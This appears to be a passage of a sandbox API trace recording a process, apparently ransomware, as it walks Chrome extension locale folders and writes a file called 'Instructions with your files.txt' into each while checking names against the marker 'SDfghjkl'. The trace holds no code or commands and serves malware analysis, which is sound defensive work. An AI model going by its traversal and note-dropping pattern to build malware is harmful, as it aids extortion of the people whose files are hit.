[0129.181] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.181] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.182] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.182] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.182] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.182] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.183] CloseHandle (hObject=0x134) returned 1
[0129.183] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.183] GetProcessHeap () returned 0x810000
[0129.183] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.183] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
[0129.183] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned 145
[0129.183] GetProcessHeap () returned 0x810000
[0129.183] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.183] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*") returned 147
[0129.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.183] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\.") returned 147
[0129.183] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.183] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\..") returned 148
[0129.183] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.183] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 159
[0129.183] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.183] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.183] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\Instructions with your files.txt") returned 178
[0129.184] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.184] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.186] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.186] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.186] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.186] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.186] CloseHandle (hObject=0x134) returned 1
[0129.186] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.186] GetProcessHeap () returned 0x810000
[0129.186] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.186] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0129.186] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned 142
[0129.186] GetProcessHeap () returned 0x810000
[0129.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.186] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*") returned 144
[0129.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.187] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\.") returned 144
[0129.187] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.187] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\..") returned 145
[0129.187] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.187] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 156
[0129.187] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.188] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.188] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\Instructions with your files.txt") returned 175
[0129.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.188] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.189] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.189] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.189] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.189] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.189] CloseHandle (hObject=0x134) returned 1
[0129.189] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.189] GetProcessHeap () returned 0x810000
[0129.189] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.189] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
[0129.189] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned 146
[0129.189] GetProcessHeap () returned 0x810000
[0129.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.189] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*") returned 148
[0129.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\.") returned 148
[0129.190] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\..") returned 149
[0129.190] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 160
[0129.190] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.190] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\Instructions with your files.txt") returned 179
[0129.190] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.190] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.191] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.192] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.192] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.192] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.192] CloseHandle (hObject=0x134) returned 1
[0129.192] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.192] GetProcessHeap () returned 0x810000
[0129.192] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.192] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0129.192] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned 142
[0129.192] GetProcessHeap () returned 0x810000
[0129.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.192] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*") returned 144
[0129.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.193] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\.") returned 144
